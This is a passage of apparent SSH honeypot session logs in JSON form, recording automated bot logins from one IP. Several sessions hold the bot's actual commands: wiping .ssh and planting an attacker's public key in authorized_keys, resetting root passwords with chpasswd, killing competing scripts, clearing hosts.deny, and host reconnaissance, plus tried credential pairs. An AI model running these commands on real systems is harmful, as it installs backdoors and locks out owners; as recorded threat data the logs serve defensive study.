sleep;"},{"seq":7,"at":"2026-08-27T02:17:32.049684+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:17:32.050483+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:17:32.600234+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:17:33.134169+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:17:33.688340+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:17:34.245005+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:17:34.798329+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:17:34.799456+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:17:35.351073+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:17:35.351483+00:00","kind":"output","latency_ms":null,"data":" 02:17:35 up 6 days, 23:07, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:17:35.905397+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:17:35.905822+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:17:36.457183+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:17:36.457801+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:17:37.012747+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:17:37.013276+00:00","kind":"output","latency_ms":null,"data":"top - 02:17:37 up 6 days, 23:07, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:17:37.562986+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:17:37.563399+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:17:38.107215+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:17:38.107752+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:17:38.660198+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:17:38.660642+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:17:39.232486+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:17:39.771393+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:17:40.566285+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:17:41.086408+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin@007","method":"password","accepted":true,"tier":"other"}]} {"id":"5c59b0f0-7a91-4071-8116-99dded125797","name":"windswept-supple-lemur","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":58310,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:17:28.365174+00:00","ended_at":"2026-08-27T02:17:30.208652+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3bef46de-557a-40db-a1d6-feefe7443485","name":"fabled-breezy-chough","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":58298,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:17:24.284555+00:00","ended_at":"2026-08-27T02:17:25.501039+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ce1eac13-44cb-4b8e-b1f3-25cf749e6637","name":"dapper-fierce-antelope","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":46474,"username":"mp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:14:33.696756+00:00","ended_at":"2026-08-27T02:14:35.720918+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"mp","password":"mp123","method":"password","accepted":false,"tier":"other"}]} {"id":"5da38553-7c76-4ce6-9b97-88bd5a0d7955","name":"wry-peaty-badger","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":44464,"username":"temp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:11:49.963786+00:00","ended_at":"2026-08-27T02:11:51.360321+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"temp","password":"123","method":"password","accepted":false,"tier":"other"}]} {"id":"2b11cf79-634d-4a72-874d-443e40d46074","name":"sandy-frugal-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":55304,"username":"toby","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":527,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:06:10.980914+00:00","ended_at":"2026-08-27T02:06:12.218336+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2245,"events":[{"seq":1,"at":"2026-08-27T02:05:47.122015+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:05:47.654230+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:05:53.888068+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:05:54.738536+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:05:55.264831+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\npsw1PqaWZd2y\\npsw1PqaWZd2y\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:05:55.788776+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\npsw1PqaWZd2y\\npsw1PqaWZd2y\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:05:56.312201+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:05:56.614306+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:05:57.144953+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:05:58.262335+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:05:58.789463+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:05:59.697389+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:06:00.233082+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:06:00.685454+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:06:01.215645+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:06:01.617130+00:00","kind":"output","latency_ms":null,"data":" 02:06:01 up 6 days, 22:56, 0 user, load average: 0.32, 0.28, 0.38\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:06:02.149276+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:06:02.928855+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:06:03.456860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:06:03.849123+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:06:04.752092+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:06:05.438208+00:00","kind":"output","latency_ms":null,"data":"top - 02:06:05 up 6 days, 22:56, 0 user, load average: 0.32, 0.28, 0.38\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:06:05.922895+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:06:06.279151+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:06:06.806066+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:06:07.416743+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:06:07.945376+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:06:08.803597+00:00","kind":"output","latency_ms":null,"data":"toby"},{"seq":29,"at":"2026-08-27T02:06:09.332942+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:06:10.454399+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:06:10.982220+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:06:12.054875+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"toby","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"319c08b1-c9d2-4a64-9385-841e41e80a6a","name":"regal-salty-armadillo","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":55308,"username":"toby","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:05:52.104419+00:00","ended_at":"2026-08-27T02:05:53.733957+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"toby","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7132cec5-a351-4755-96a9-becdcf543cbe","name":"sunlit-curious-kudu","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":55306,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:05:48.867217+00:00","ended_at":"2026-08-27T02:05:50.581998+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"57779227-83e8-43a5-81d7-75cd3369efbb","name":"glacial-hearty-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":46424,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":560,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:03:29.032587+00:00","ended_at":"2026-08-27T02:03:30.102092+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:02:59.808131+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:03:00.410210+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:03:09.834830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:03:10.652168+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:03:11.229306+00:00","kind":"input","latency_ms":null,"data":"echo \"root:b16ocHkGsD1F\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:03:11.808855+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:03:12.390099+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:03:13.090007+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:03:13.650389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:03:14.800604+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:03:15.358342+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:03:16.497721+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:03:17.064410+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:03:17.886220+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:03:18.843066+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:03:19.501755+00:00","kind":"output","latency_ms":null,"data":" 02:03:19 up 6 days, 22:53, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:03:20.057069+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:03:20.505103+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:03:21.208303+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:03:21.539336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:03:22.102959+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:03:22.678399+00:00","kind":"output","latency_ms":null,"data":"top - 02:03:22 up 6 days, 22:53, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:03:23.236707+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:03:23.797029+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:03:24.349326+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:03:24.718415+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:03:25.561502+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:03:26.437385+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:03:26.995187+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:03:28.483531+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:03:29.033542+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:03:29.929082+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aabbcc123","method":"password","accepted":true,"tier":"other"}]} {"id":"51f1d0e6-1e0e-4b21-8174-eddca8bd0c6a","name":"patient-hazy-grouse","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":58894,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:03:08.493707+00:00","ended_at":"2026-08-27T02:03:09.648497+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dd818a64-b71d-4bb7-85d4-1a6bb78a76f7","name":"mottled-sincere-badger","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":46430,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:03:03.746124+00:00","ended_at":"2026-08-27T02:03:05.736377+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3c91960f-9386-47a0-ac2e-315e750291ea","name":"coral-salty-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":59792,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":543,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:00:16.565060+00:00","ended_at":"2026-08-27T02:00:17.631058+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T01:59:49.157053+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:59:49.702786+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:59:59.415566+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:00:00.118198+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:00:00.660030+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1GTz8Wf9dGpl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:00:01.208746+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:00:01.744334+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:00:02.175631+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:00:02.772854+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:00:04.065685+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:00:04.612097+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:00:05.621336+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:00:06.163868+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:00:06.541424+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:00:07.078702+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:00:07.673933+00:00","kind":"output","latency_ms":null,"data":" 02:00:07 up 6 days, 22:50, 0 user, load average: 0.33, 0.34, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:00:08.217612+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:00:09.065375+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:00:09.614200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:00:10.275958+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:00:10.819176+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:00:11.098067+00:00","kind":"output","latency_ms":null,"data":"top - 02:00:11 up 6 days, 22:50, 0 user, load average: 0.33, 0.34, 0.33\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:00:11.646726+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:00:12.318341+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:00:12.859315+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:00:13.261139+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:00:13.819668+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:00:14.509395+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:00:15.044341+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:00:16.022779+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:00:16.566172+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 